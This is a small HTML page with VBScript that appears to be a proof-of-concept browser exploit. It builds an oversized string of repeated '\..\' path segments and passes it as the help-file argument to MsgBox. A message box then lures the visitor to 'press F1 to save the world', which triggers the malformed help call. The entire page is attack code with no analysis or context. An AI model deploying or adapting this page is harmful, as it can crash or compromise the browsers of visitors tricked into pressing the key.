&lt;html&gt;
&lt;script type=&quot;text/vbscript&quot;&gt;
big = &quot;aaaa&quot;

For i=1 to 4500
  big = big &amp; &quot;\..\&quot;
Next


MsgBox &quot;please press F1 to save the world&quot;, ,&quot;please save the world&quot;, big, 1
&lt;/script&gt;
&lt;/html&gt;